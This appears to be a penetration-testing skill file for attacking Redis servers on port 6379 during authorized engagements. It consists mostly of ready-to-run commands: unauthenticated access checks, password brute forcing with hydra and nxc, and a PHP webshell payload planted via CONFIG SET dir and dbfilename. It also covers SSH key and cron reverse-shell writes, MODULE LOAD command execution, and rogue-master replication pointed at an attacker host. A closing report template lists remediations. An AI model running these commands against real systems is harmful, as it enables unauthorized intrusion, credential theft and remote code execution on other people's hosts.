name: pentesting-redis description: Testing Redis in-memory data stores (default port 6379) for unauthenticated access, weak AUTH credentials, keyspace dumping, and the high-impact RCE primitives - module load (system.exec), webshell/cron write via CONFIG SET dir + dbfilename + SAVE, SSH authorized_keys write, Lua sandbox escape CVEs, and master-slave replication abuse - during authorized engagements. domain: cybersecurity subdomain: network-services-pentesting tags:
- penetration-testing
- network-services
- database
- redis version: '1.0' author: xalgorix license: Apache-2.0
Pentesting Redis (port 6379)
When to Use
- Default port
6379/tcp; Redis is a plain-text line protocol (optionally TLS), soncandredis-cliboth work directly. - Banner/
nmapshowsredisand a version likeRedis key-value store 4.0.9. - Use whenever 6379 is reachable — Redis is unauthenticated by default and frequently exposed without a firewall.
Quick Enumeration
nmap --script redis-info -sV -p6379 <IP>
msfconsole -q -x 'use auxiliary/scanner/redis/redis_server; set RHOSTS <IP>; run; exit'
# Connect (text protocol)
nc -vn <IP> 6379
redis-cli -h <IP> # apt-get install redis-tools
redis-cli -h <IP> info # full instance info
Critical: Checks Most Often Missed
- Unauthenticated access — the #1 miss. By default Redis needs no credentials;
inforeturns instance data instead of-NOAUTH Authentication required.- How to CONFIRM:
redis-cli -h <IP> inforeturns server stats. If-NOAUTHis returned, creds are required (AUTH <user> <pass>; reply+OK= valid). Only password configured → username isdefault.
- How to CONFIRM:
- CONFIG SET dir/dbfilename → webshell write — repoint the RDB save path to a webroot, set a key to PHP, and
SAVEto write a shell.- How to CONFIRM:
config set dir /var/www/html,config set dbfilename redis.php,set test "<?php system($_GET['c']);?>",save, thenhttp://<IP>/redis.php?c=id.
- How to CONFIRM:
- SSH authorized_keys write — write your public key into
~/.ssh/authorized_keysof the redis (or another) user and log in.- How to CONFIRM:
config set dir /var/lib/redis/.ssh,config set dbfilename authorized_keys, set a spaced key,save, thenssh -i id_rsa redis@<IP>.
- How to CONFIRM:
- Cron job write — write a crontab entry to
/var/spool/cron/crontabs/(Ubuntu) or/var/spool/cron/(CentOS) for a callback.- How to CONFIRM: set a key containing a
*/1 * * * * <rev shell>line,config set dir /var/spool/cron/crontabs/,config set dbfilename root,save.
- How to CONFIRM: set a key containing a
- Module load → direct command exec —
MODULE LOAD /path/mymodule.so(RedisModules-ExecuteCommand) addssystem.exec/system.rev.- How to CONFIRM: after upload+load,
system.exec "id"returnsuid=0(root).
- How to CONFIRM: after upload+load,
- Lua sandbox escape CVEs — Redis < 8.2.2 / 8.0.4 / 7.4.6 / 7.2.11 / 6.2.20 with Lua enabled: CVE-2025-49844 (parser UAF→RCE), CVE-2025-46817 (
unpackoverflow DoS), CVE-2025-46818 (metatable cross-user code exec); older CVE-2022-0543 (Debian Lua sandbox escape→RCE). - Master-slave replication abuse —
slaveof <attacker> 6379makes the target a replica you control (module-load RCE chains).
Workflow
Step 1: Enumerate
redis-cli -h <IP> info
redis-cli -h <IP> CONFIG GET '*' # full config incl. dir, requirepass
redis-cli -h <IP> CONFIG GET dir # run FIRST — exploits can change it
redis-cli -h <IP> INFO keyspace # which databases (0..N) hold data
Step 2: Authenticate (anonymous, AUTH, brute force)
redis-cli -h <IP> # try unauthenticated first
redis-cli -h <IP> -a <password> info # password only (user = default)
# Inside a session if NOAUTH:
# AUTH <username> <password> -> +OK means valid
nmap --script redis-brute -p6379 <IP>
hydra -P passwords.txt redis://<IP>
nxc redis <IP> -u '' -p passwords.txt
Step 3: Exploit / Extract (dump keys + RCE primitive)
# Dump the keyspace
redis-cli -h <IP> -n 1 # select db 1
# SELECT 1 ; KEYS * ; TYPE <key> ; GET <key> ; LRANGE <key> 0 -1 ; HGETALL <key> ; DUMP <key>
# Webshell write
redis-cli -h <IP>
> config set dir /usr/share/nginx/html
> config set dbfilename redis.php
> set test "<?php phpinfo(); ?>"
> save
# SSH key write
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
cat spaced_key.txt | redis-cli -h <IP> -x set ssh_key
redis-cli -h <IP> config set dir /var/lib/redis/.ssh
redis-cli -h <IP> config set dbfilename "authorized_keys"
redis-cli -h <IP> save
ssh -i ~/.ssh/id_rsa redis@<IP>
# Module load RCE
redis-cli -h <IP> MODULE LOAD /tmp/module.so
redis-cli -h <IP> MODULE LIST
redis-cli -h <IP> system.exec "id"
# Automated interactive/reverse shell (Redis <= 5.0.5)
./redis-rogue-server.py --rhost <IP> --lhost <ATTACKER>
Step 4: Post-access / privilege escalation / pivot
- After a webshell/SSH/cron foothold, treat as host access — enumerate the redis user, sudo rights, and other local services.
- Master-slave:
redis-cli -h <IP> slaveof <attacker_IP> 6379, then push keys/modules from your master to the target replica. - Note
rename-commandmay rename/disableFLUSHDB,CONFIG, etc.; checkCONFIG GET *and try alternates. - SSRF/CRLF reachability: if a web app reaches Redis (e.g. GitLab CVE chain), inject queue payloads for RCE.
Key Concepts
| Concept | Description |
|---|---|
| Unauthenticated default | Redis accepts commands with no credentials unless requirepass/ACL configured. |
| CONFIG SET dir + dbfilename + SAVE | Repoint the RDB dump to any writable path to drop webshells, keys, or cron jobs. |
| MODULE LOAD | Loads a native .so exposing system.exec/system.rev for command execution. |
| slaveof / replicaof | Makes the target a replica of an attacker master, enabling payload push. |
| Lua scripting (EVAL) | Sandboxed Lua; sandbox-escape CVEs yield RCE on unpatched versions. |
| rename-command | Server-side renaming/removal of commands; may block CONFIG/FLUSH. |
| Keyspace / databases | Numbered DBs (0..N); SELECT n then KEYS * to dump. |
Tools & Systems
| Tool | Purpose |
|---|---|
| redis-cli / nc | Native client and raw socket interaction with the text protocol. |
| nmap NSE | redis-info (instance details), redis-brute (credential brute). |
| Metasploit | scanner/redis/redis_server, redis/redis_login, redis/file_upload. |
| netexec (nxc) | nxc redis <IP> ... for auth checks/spraying. |
| redis-rogue-server | Automated module-load RCE / reverse shell (Redis <= 5.0.5). |
| RedisModules-ExecuteCommand | Compile the .so module exposing system.exec. |
| redis-dump / redis-utils | Bulk export of the keyspace (npm / python). |
Common Scenarios
Scenario 1: Unauth access → data theft
redis-cli -h <IP> info works with no password. SELECT 1; KEYS *; GET <key> dumps session tokens and cached credentials, immediately reusable elsewhere.
Scenario 2: Unauth → webshell RCE
Redis is unauthenticated and a web root is writable. config set dir /var/www/html; config set dbfilename x.php; set p "<?php system($_GET['c']);?>"; save lands a shell; x.php?c=id returns www-data.
Scenario 3: Unauth → SSH foothold
The redis user's home is writable. The tester writes their public key to /var/lib/redis/.ssh/authorized_keys via CONFIG+SAVE and logs in over SSH as redis.
Output Format
## Redis Finding
**Service**: Redis
**Port**: 6379/tcp (Redis 4.0.9)
**Severity**: Critical
**Finding**: Unauthenticated Redis allowing webshell write (RCE)
**Evidence**:
- `redis-cli -h <IP> info` returned server stats with no AUTH
- config set dir /var/www/html; set p "<?php ...?>"; save -> file written
- http://<IP>/p.php?c=id -> uid=33(www-data)
**Impact**: Unauthenticated access to all cached data plus remote code execution on the host.
**Recommendation**:
1. Enable authentication (`requirepass` / ACL users) with a strong password.
2. Bind to localhost or restrict 6379 by firewall; enable protected-mode.
3. Disable/rename dangerous commands (CONFIG, MODULE, SLAVEOF, FLUSHALL) via rename-command.
4. Run redis as an unprivileged user; patch to a current release to fix Lua RCE CVEs.